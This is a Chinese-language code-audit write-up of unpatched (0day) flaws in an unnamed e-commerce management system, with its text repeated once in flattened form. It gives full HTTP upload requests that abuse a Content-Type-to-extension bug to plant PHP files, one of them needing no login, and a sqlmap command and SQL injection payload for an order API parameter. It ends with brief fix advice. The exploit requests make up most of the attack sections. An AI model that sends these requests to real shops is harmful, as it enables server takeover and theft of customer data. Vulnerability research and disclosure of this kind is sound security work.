PHP代码审计-某电商管理系统0Day分析
字数 1486 2025-08-23 18:31:24

PHP代码审计:某电商管理系统0Day漏洞分析与利用

漏洞概述

本文详细分析某电商管理系统存在的多个安全漏洞,包括后台文件上传Getshell、未授权文件上传以及前台SQL注入漏洞。这些漏洞存在于系统的不同模块中,攻击者可利用这些漏洞获取服务器权限或数据库敏感信息。

一、后台文件上传Getshell漏洞

漏洞位置

/app/webapp/modules/system/actions/uploadImgAction.class.php

漏洞分析

  1. 关键代码片段
$type = str_replace('image/', '.', $_FILES['imgFile']['type']);
$imgURL_name = time() . mt_rand(1, 1000) . $type;
move_uploaded_file($imgURL, $uploadImg . $imgURL_name);
  1. 漏洞原理
  • 系统使用str_replace函数将$_FILES['imgFile']['type']中的image/替换为点(.)
  • 攻击者可控制Content-Type头,通过构造image/php使其被替换为.php,从而控制文件后缀
  • 文件上传后未进行有效验证,导致可上传任意PHP文件

漏洞利用

  1. 构造恶意请求包
POST /index.php?module=system&action=uploadImg HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-3521672959703348041050404464

--3521672959703348041050404464
Content-Disposition: form-data; name="imgFile"; filename="shell.php"
Content-Type: image/php

<?php phpinfo(); ?>
--3521672959703348041050404464--
  1. 利用步骤
  • 修改Content-Typeimage/php
  • 上传包含恶意代码的PHP文件
  • 访问上传的文件执行任意代码

二、扩展模块文件上传漏洞

漏洞位置

/webapp/modules/extension/actions/uploadImgAction.class.php

漏洞分析

  • 与后台文件上传漏洞原理相同
  • 使用str_replace函数处理文件类型
  • 参数名从imgFile变为file

漏洞利用

  1. 构造请求包
POST /index.php?module=extension&action=uploadImg HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-371918364269932091066326

--371918364269932091066326
Content-Disposition: form-data; name="file"; filename="PassWaf_3.php"
Content-Type: image/php

<?php @phpinfo(); ?>
--371918364269932091066326--

三、未授权文件上传漏洞

漏洞位置

/webapp/modules/api/actions/userAction.class.php中的upload方法

漏洞分析

  1. 关键代码
$imgURL = ($_FILES['file']['tmp_name']);
$type = str_replace('image/', '.', $_FILES['file']['type']);
$imgURL_name = time() . mt_rand(1, 1000) . $type;
move_uploaded_file($imgURL, $uploadImg . $imgURL_name);
  1. 漏洞特点
  • 无需登录即可访问
  • 上传路径默认为../images
  • 同样存在后缀可控问题

漏洞利用

  1. 构造请求包
POST /index.php?module=api&action=user&m=upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-323553422223467167571808530788

--323553422223467167571808530788
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/php

<?php phpinfo(); ?>
--323553422223467167571808530788--
  1. 注意事项
  • 参数名必须为file
  • 无需Cookie认证
  • 上传成功后返回文件名,路径为/images

四、前台SQL注入漏洞

漏洞位置

/webapp/modules/api/actions/orderAction.class.php中的ReturnData方法

漏洞分析

  • back_remark参数未经过滤直接拼接到SQL语句中
  • 导致可执行任意SQL语句

漏洞利用

  1. 使用sqlmap检测
python sqlmap.py -u "http://127.0.0.1:8080/index.php?module=api&action=order&m=ReturnData" --data "id=1&oid=1&otype=1&re_type=1&back_remark=1" -p back_remark --dbs --batch
  1. 手工测试
  • back_remark参数中注入SQL语句
  • 如:back_remark=1' AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))--

五、修复建议

  1. 文件上传漏洞修复
  • 严格限制上传文件类型,使用白名单机制
  • 对上传文件进行重命名,不依赖用户输入
  • 对上传文件内容进行检测
  • 设置上传目录不可执行
  1. SQL注入漏洞修复
  • 使用参数化查询或预处理语句
  • 对所有输入参数进行严格过滤和转义
  • 实现最小权限原则,数据库用户只具有必要权限
  1. 其他安全措施
  • 对关键操作进行权限验证
  • 实现CSRF防护机制
  • 定期进行安全审计和代码审查

六、总结

本文详细分析了某电商管理系统存在的多个高危漏洞,包括:

  1. 后台文件上传Getshell漏洞
  2. 扩展模块文件上传漏洞
  3. 未授权文件上传漏洞
  4. 前台SQL注入漏洞

这些漏洞均可被攻击者利用来获取系统权限或敏感数据,建议用户及时修复。同时,开发人员应加强安全意识,在代码编写过程中充分考虑安全性,避免类似漏洞的出现。

PHP代码审计:某电商管理系统0Day漏洞分析与利用 漏洞概述 本文详细分析某电商管理系统存在的多个安全漏洞,包括后台文件上传Getshell、未授权文件上传以及前台SQL注入漏洞。这些漏洞存在于系统的不同模块中,攻击者可利用这些漏洞获取服务器权限或数据库敏感信息。 一、后台文件上传Getshell漏洞 漏洞位置 /app/webapp/modules/system/actions/uploadImgAction.class.php 漏洞分析 关键代码片段 : 漏洞原理 : 系统使用 str_replace 函数将 $_FILES['imgFile']['type'] 中的 image/ 替换为点(.) 攻击者可控制 Content-Type 头,通过构造 image/php 使其被替换为 .php ,从而控制文件后缀 文件上传后未进行有效验证,导致可上传任意PHP文件 漏洞利用 构造恶意请求包 : 利用步骤 : 修改 Content-Type 为 image/php 上传包含恶意代码的PHP文件 访问上传的文件执行任意代码 二、扩展模块文件上传漏洞 漏洞位置 /webapp/modules/extension/actions/uploadImgAction.class.php 漏洞分析 与后台文件上传漏洞原理相同 使用 str_replace 函数处理文件类型 参数名从 imgFile 变为 file 漏洞利用 构造请求包 : 三、未授权文件上传漏洞 漏洞位置 /webapp/modules/api/actions/userAction.class.php 中的 upload 方法 漏洞分析 关键代码 : 漏洞特点 : 无需登录即可访问 上传路径默认为 ../images 同样存在后缀可控问题 漏洞利用 构造请求包 : 注意事项 : 参数名必须为 file 无需Cookie认证 上传成功后返回文件名,路径为 /images 四、前台SQL注入漏洞 漏洞位置 /webapp/modules/api/actions/orderAction.class.php 中的 ReturnData 方法 漏洞分析 back_remark 参数未经过滤直接拼接到SQL语句中 导致可执行任意SQL语句 漏洞利用 使用sqlmap检测 : 手工测试 : 在 back_remark 参数中注入SQL语句 如: back_remark=1' AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))-- 五、修复建议 文件上传漏洞修复 : 严格限制上传文件类型,使用白名单机制 对上传文件进行重命名,不依赖用户输入 对上传文件内容进行检测 设置上传目录不可执行 SQL注入漏洞修复 : 使用参数化查询或预处理语句 对所有输入参数进行严格过滤和转义 实现最小权限原则,数据库用户只具有必要权限 其他安全措施 : 对关键操作进行权限验证 实现CSRF防护机制 定期进行安全审计和代码审查 六、总结 本文详细分析了某电商管理系统存在的多个高危漏洞,包括: 后台文件上传Getshell漏洞 扩展模块文件上传漏洞 未授权文件上传漏洞 前台SQL注入漏洞 这些漏洞均可被攻击者利用来获取系统权限或敏感数据,建议用户及时修复。同时,开发人员应加强安全意识,在代码编写过程中充分考虑安全性,避免类似漏洞的出现。